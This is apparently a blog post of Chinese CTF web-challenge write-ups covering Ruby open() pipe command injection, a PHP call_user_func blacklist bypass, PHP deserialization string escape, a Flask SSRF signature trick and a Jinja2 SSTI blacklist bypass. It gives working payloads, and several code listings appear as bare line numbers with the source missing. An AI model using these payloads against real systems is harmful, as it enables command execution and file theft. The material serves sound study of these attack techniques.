[第五空间 2021]PNG图片转换器
有源码,ruby写的,不是常见的语言首先联想cve,先看源码。
1 | require 'sinatra' |
做了两个功能点,upload和convert。审计下来限制的很死,唯一利用点就是open这比较可疑,考虑cve,ruby结合open果然有cve。
参考CVE-2017-17405
原理:
Ruby-Net::FTP 模块是一个FTP客户端,上传文件过程中使用了open函数。open函数在ruby中是借用系统命令来打开文件,意味着如果没有做过滤,我们能利用这个点来执行命令。
payload:
如果+path+以一个管道字符(|
)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取。
1 | file=|bash -c env #.png |
[网鼎杯 2018]Fakebook 1
进去没找到什么利用点,dirsearch扫描,有robots.txt 访问得到user.php.bak
1 |
|
[网鼎杯 2020 朱雀组]phpweb 1
进去就是一张贴脸大图 随便抓包看到参数 随便输发现 call_user_fun这个超明显的php函数
首先使用file_get_contents结合伪协议读取源码
(读源码不止一个方法 还有fun=highlight_file&p=index.php)
1 |
|
这里有两个方法:
方法1:unserilize反序列化
__destruc__魔术方法当类被销毁会自动触发
1 |
|
看到可疑路径 /tmp/flagoefiu4r93
1 |
|
得道flag
方法2:命名空间方法
原理
在php中,函数加上\号不会影响函数本身,因为in_array函数过滤不够严谨,所以我们可以利用加上\号来绕过。
func=\system&p=find / -name fllag*
然后正常执行命令就行
[安洵杯 2019]easy_serialize_php 1
1 |
|
代码理解
理解代码在干什么很重要,审计代码的能力很重要。
这段php代码首先定义了一个名为filter函数,它会把传入的变量的值如果在它定义的数组里,就会把符合条件的字符串替换为空。
然后使用了变量覆盖里常用的函数extract来使我们$_SESSION["user"]
和$_SESSION['function']
通过POST可控。
然后if判断是否传入img_path,没传入就是设置为guest_image.png,传入的话就会使用一个不可逆的sha1算法,所以我们肯定不考虑这个。
下一步是定义变量serialize_info为经过filter函数操作后的序列化后的数据。
再下来是if选择function功能 highlight_file是查看源码,phpinfo是查看phpinfo,show_image是做了一个反序列化操作,并且使用了一个敏感函数,file_get_contens。
题目做法:反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸
flag路径在phpinfo功能点就能看到 为/d0g3_fllllllag
方法1:键值逃逸
代码审计完了,有反序列化又有替换的操作,很容易联想到字符串逃逸。这里只有user和function可控。为了好理解我们先看序列化后的数据长什么样子。
1 |
|
因为要让guest_img.png逃逸出去,所以我们应该修改user,让user经过字符串替换,function这个变量及其值成为user的值,img变量变为我们想要的值哦。
function应该为值为;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
fileter处理前:
a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
1 |
|
filter处理后:
a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
于是function的值为img为L2QwZzNfZmxsbGxsbGFn
,后面那一串就成功修改img值为flag的路径。
方法2:键名逃逸
1 | _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} |
过滤前 a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸
payload:_SESSION[flagphp]=;s:1:”1”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
[De1CTF 2019]SSRF Me 1
进去贴脸源码,python代码审计。
1 | #!/usr/bin/env python |
1 | 三个路由: |
解题思路
(除了这个方法还可以使用hash拓展攻击)
密钥是不变的。而action定死为scan了 可变的只有中间的param
那么md5(密钥+flag.txtread+scan)等于md5(密钥+flag.txt+readscan)
这步的cookie请自己添加
[GYCTF2020]FlaskApp
进去是base64解密和加密功能 看到flask先条件反射ssti 输入49得到编码 输入解码器得到回显
继续测试 e3tjb25maWd9fQ== 得到回显 被HTML 实体转义 丢给ai恢复下就ok
1 | <Config { |
成功SSTI 正常打ssti就好
黑名单 ['import','os','popen','eval','*','?']
payload:{{((lipsum.__globals__.__builtins__['__i''mport__']('o''s'))['p''open']("\x63\x61\x74\x20\x2f\x2a")).read()}}